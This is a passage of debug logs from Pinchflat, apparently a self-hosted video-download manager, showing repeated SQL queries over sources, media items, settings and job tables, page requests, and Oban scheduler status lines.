(m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 02:11:23.875 [debug] QUERY OK source="sources" db=0.3ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:11:23.876 [debug] QUERY OK source="media_items" db=0.4ms idle=8.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 02:11:23.877 [debug] QUERY OK source="media_items" db=0.6ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 02:11:23.879 [debug] QUERY OK source="sources" db=0.2ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:11:23.880 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 02:11:23.882 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=5.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 02:11:23.884 [info] Sent 200 in 22ms 02:11:31.462 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:31.942 [info] GET /media_profiles/1/ 02:11:31.943 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 02:11:31.944 [debug] QUERY OK source="media_profiles" db=0.4ms idle=711.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:11:31.945 [debug] QUERY OK source="sources" db=0.5ms idle=482.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 02:11:31.946 [debug] QUERY OK source="settings" db=0.2ms idle=300.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:31.946 [debug] QUERY OK source="settings" db=0.2ms idle=300.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:31.947 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=301.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:31.950 [info] Sent 200 in 7ms 02:11:38.901 [info] GET /media_profiles/new 02:11:38.901 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 02:11:38.902 [debug] QUERY OK source="settings" db=0.3ms idle=1256.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:38.902 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1257.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:38.903 [debug] QUERY OK source="settings" db=0.2ms idle=1257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:38.904 [debug] QUERY OK source="settings" db=0.2ms idle=1258.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:38.905 [debug] QUERY OK source="settings" db=0.2ms idle=658.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:38.908 [info] Sent 200 in 7ms 02:11:45.305 [info] GET /sources/4/media/102834/edit 02:11:45.305 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102834", "source_id" => "4"} Pipelines: [:browser] 02:11:45.306 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=660.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102834] 02:11:45.307 [debug] QUERY OK source="settings" db=0.2ms idle=661.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:45.308 [debug] QUERY OK source="settings" db=0.2ms idle=662.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:45.309 [debug] QUERY OK source="settings" db=0.2ms idle=663.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:45.311 [info] Sent 200 in 5ms 02:11:51.271 [info] GET /sources/4/media/102835/edit 02:11:51.271 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102835", "source_id" => "4"} Pipelines: [:browser] 02:11:51.272 [debug] QUERY OK source="media_items" db=0.6ms idle=626.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102835] 02:11:51.273 [debug] QUERY OK source="settings" db=0.2ms idle=628.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:51.274 [debug] QUERY OK source="settings" db=0.3ms idle=628.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:51.275 [debug] QUERY OK source="settings" db=0.1ms idle=629.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:51.277 [info] Sent 200 in 6ms 02:12:00.738 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:01.464 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:31.466 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.739 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:01.468 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:31.470 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.740 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:01.472 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:31.474 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.741 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:01.476 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:31.478 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.742 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:01.480 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:31.482 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.743 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:01.484 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:29.789 [info] GET /sources/1/media/89349 02:17:29.789 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89349", "source_id" => "1"} Pipelines: [:browser] 02:17:29.790 [debug] QUERY OK source="media_items" db=0.3ms idle=1144.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89349] 02:17:29.791 [debug] QUERY OK source="tasks" db=0.4ms idle=1145.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89349] 02:17:29.791 [debug] QUERY OK source="sources" db=0.5ms idle=1145.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:17:29.792 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1146.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2383, 2465, 2553] 02:17:29.794 [debug] QUERY OK source="settings" db=0.2ms idle=841.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:29.794 [debug] QUERY OK source="settings" db=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:29.795 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:29.797 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:17:29.800 [info] Sent 200 in 11ms 02:17:31.486 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:44.017 [info] GET /sources/1/media/89337 02:17:44.017 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89337", "source_id" => "1"} Pipelines: [:browser] 02:17:44.018 [debug] QUERY OK source="media_items" db=0.3ms idle=1036.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 02:17:44.019 [debug] QUERY OK source="tasks" db=0.6ms idle=373.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89337] 02:17:44.020 [debug] QUERY OK source="sources" db=1.0ms idle=373.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:17:44.036 [debug] QUERY OK source="oban_jobs" db=15.6ms idle=375.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2390, 2475, 2517, 2523, 2532, 2538, 2544, 2550, 2560, 2569, 2575, 2584, 2591, 2599, 2605, 2611, 2619, 2625] 02:17:44.038 [debug] QUERY OK source="settings" db=0.2ms idle=54.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:44.038 [debug] QUERY OK source="settings" db=0.2ms idle=19.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:44.039 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:44.040 [debug] QUERY OK source="media_profiles" db=0.2ms idle=20.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:17:44.048 [info] Sent 200 in 30ms 02:17:54.590 [info] GET /sources/1/media/89340 02:17:54.591 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89340", "source_id" => "1"} Pipelines: [:browser] 02:17:54.592 [debug] QUERY OK source="media_items" db=0.4ms idle=946.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89340] 02:17:54.593 [debug] QUERY OK source="tasks" db=0.3ms idle=947.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89340] 02:17:54.593 [debug] QUERY OK source="sources" db=0.5ms idle=947.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:17:54.607 [debug] QUERY OK source="oban_jobs" db=14.0ms idle=948.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2381, 2463] 02:17:54.609 [debug] QUERY OK source="settings" db=0.2ms idle=604.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:54.609 [debug] QUERY OK source="settings" db=0.3ms idle=17.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:54.610 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:54.612 [debug] QUERY OK source="media_profiles" db=0.4ms idle=18.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", 